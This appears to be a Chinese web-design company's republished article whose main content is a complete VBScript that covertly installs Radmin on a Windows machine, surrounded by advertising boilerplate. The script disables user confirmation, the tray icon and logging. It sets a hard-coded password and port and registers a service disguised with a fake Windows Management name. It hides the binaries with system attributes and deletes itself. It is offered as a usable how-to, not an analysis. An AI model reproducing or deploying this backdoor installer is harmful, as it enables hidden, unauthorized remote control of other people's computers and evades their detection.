快上网专注成都网站设计 成都网站制作 成都网站建设
成都网站建设公司服务热线:028-86922220

网站建设知识

十年网站开发经验 + 多家企业客户 + 靠谱的建站团队

量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决

Vbs脚本如何实现radmin删除自身-创新互联

这篇文章主要为大家展示了“Vbs脚本如何实现radmin删除自身”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Vbs脚本如何实现radmin删除自身”这篇文章吧。

成都创新互联公司服务项目包括新建网站建设、新建网站制作、新建网页制作以及新建网络营销策划等。多年来,我们专注于互联网行业,利用自身积累的技术优势、行业经验、深度合作伙伴关系等,向广大中小型企业、政府机构等提供互联网行业的解决方案,新建网站推广取得了明显的社会效益与经济效益。目前,我们服务的客户以成都为中心已经辐射到新建省份的部分城市,未来相信会继续扩大服务区域并继续获得客户的支持与信任!

代码如下:

on error resume next  
const HKEY_LOCAL_MACHINE = &H80000002  
strComputer = "."  
Set StdOut = WScript.StdOut  
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_   
strComputer & "\root\default:StdRegProv")  
strKeyPath = "SYSTEM\RAdmin"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\iplist"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
Set objRegistry = GetObject("Winmgmts:root\default:StdRegProv")  
strPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)  
uBinary = Array(1,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)  
uBinary = Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)        //此为注册表导出十六进制转为十进制数据 pass:241241241  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)    //Radmin密码  
uBinary = Array(5,4,0,0)      //端口:1029  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)  
uBinary = Array(10,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)  
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer &"\root\default:StdRegProv")  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"  
strValueName = "LogFilePath"  
strValue = "c:\logfile.txt"  
set wshshell=createobject ("wscript.shell")  
a=wshshell.run ("sc.exe create WinManageHelp binpath= %systemroot%\system32\Exporer.exe start= auto",0)  
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer &"\root\default:StdRegProv")  
strKeyPath = "SYSTEM\ControlSet001\Services\WinManageHelp"  
strValueName = "Description"  
strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers."  
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
strValueName = "DisplayName"  
strValue = "Windows Management Instrumentation Player Drivers"  
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
strValueName = "ImagePath"  
strValue = "c:\windows\system32\Exporer.exe /service"  
oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
set wshshell=createobject ("wscript.shell")  
a=wshshell.run ("net start WinManageHelp",0)  
b=wshshell.run ("attrib +r +h +s %systemroot%\system32\exporer.exe",0)  
c=wshshell.run ("attrib +r +h +s %systemroot%\system32\AdmDll.dll",0)  
d=wshshell.run ("attrib +r +h +s %systemroot%\system32\raddrv.dll",0)  
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)    //自删除

好的删除代码不错


createobject("scripting.filesystemobject").deletefile(script.scriptname)

以上是“Vbs脚本如何实现radmin删除自身”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注创新互联行业资讯频道!


网页标题:Vbs脚本如何实现radmin删除自身-创新互联
分享URL:http://6mz.cn/article/dcegog.html

其他资讯